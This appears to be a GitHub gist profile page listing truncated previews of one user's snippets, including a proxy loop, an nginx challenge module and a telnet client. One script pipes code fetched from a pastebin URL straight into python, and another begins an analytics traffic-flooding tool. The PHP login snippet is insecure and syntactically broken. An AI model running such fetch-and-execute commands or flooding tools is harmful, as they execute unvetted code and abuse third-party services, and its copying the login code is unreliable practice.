Skip to content

Instantly share code, notes, and snippets.

View lwertugrul's full-sized avatar
🌐

Ertuğrul lwertugrul

🌐
View GitHub Profile
@lwertugrul
lwertugrul / rss.php
Last active January 31, 2021 04:25
RSS - PHP Source
<?php
include 'config.php';
function lambda($a){
$a = str_replace("&", "&amp;", $a);
return $a;
}
header("Content-Type: text/xml");
@lwertugrul
lwertugrul / Challenge.c
Created December 20, 2020 04:42
Nginx JS Challenge Module
/*
v1.24
Copyright (C) 2011-2018 Eldar Zaitov ([email protected]).
All rights reserved.
This module is licenced under the terms of BSD license.
*/
#include <ngx_config.h>
#include <ngx_core.h>
@lwertugrul
lwertugrul / t1rox.sh
Created December 16, 2020 15:32
Proxy All Server Socket Method
#!/bin/bash
# Proxy All Server Socket Method By T13R
# Use = chmod +x t1rox.sh && bash t1rox.sh > /dev/null 2>/dev/null &
while :
do
export http_proxy=ip:port
export https_proxy=ip:port
export ftp_proxy=ip:port
sleep 2
export http_proxy=ip:port
@lwertugrul
lwertugrul / Sample-Layer7-Firewall.py
Created June 5, 2020 16:30
[PY] Testing firewall
from http.server import HTTPServer, BaseHTTPRequestHandler
from socketserver import ThreadingMixIn
from requests import get, post
class RequestHandler(BaseHTTPRequestHandler):
def do_POST(self):
print(self.client_address[0]) # prints ip I think; start building from here
"""you can inspect the request, save its ip address maybe and then
make a POST request with the requests library and return the result"""
@lwertugrul
lwertugrul / basic-php-login.php
Created June 2, 2020 07:23
[PHP] Basic MD5 Login System
<?php
$login = 'admin';
$password_md5 = '9b1ade43bb015c3184dd00236dfcec35';
if ($_POST['username'] == $login && md5($_POST['password']) == $password_md5{
echo "Login Success !";
}
@lwertugrul
lwertugrul / kalirepo.py
Created May 28, 2020 21:28
Python Auto Kali Repo
os.system("apt-key adv --keyserver pool.sks-keyservers.net --recv-keys ED444FF07D8D0BF6")
os.system("echo '# Kali linux repositories | Added by Katoolin\ndeb http://http.kali.org/kali kali-rolling main contrib non-free' >> /etc/apt/sources.list")
@lwertugrul
lwertugrul / telnet.py
Last active April 8, 2020 14:27
Python Telnet Chat Client
import socket, select, string, sys
def prompt() :
sys.stdout.write('<Sen> ')
sys.stdout.flush()
#main function
if __name__ == "__main__":
if(len(sys.argv) < 3) :
@lwertugrul
lwertugrul / analytics.php
Created April 6, 2020 22:38
Google analytics flood
<?php
error_reporting(0);
set_time_limit(900);
//v4t1.eu project start
if(empty($_GET["site"] and $_GET["ref"] and $_GET["title"])) {
exit;
}
$gonderim = ("5"); // ne kadar gonderilecek
$site = $_GET["site"];
$ref = $_GET["ref"];
@lwertugrul
lwertugrul / net-speed.sh
Created March 21, 2020 23:50
speedtest.py
#!/usr/bin/bash
curl -s https://pastebin.obir.ninja/net-speed.py | python -
@lwertugrul
lwertugrul / ts3proxy
Created March 16, 2020 01:15
ts3proxy
#!/usr/bin/bash
bash /usr/share/ts3proxy/ts3proxy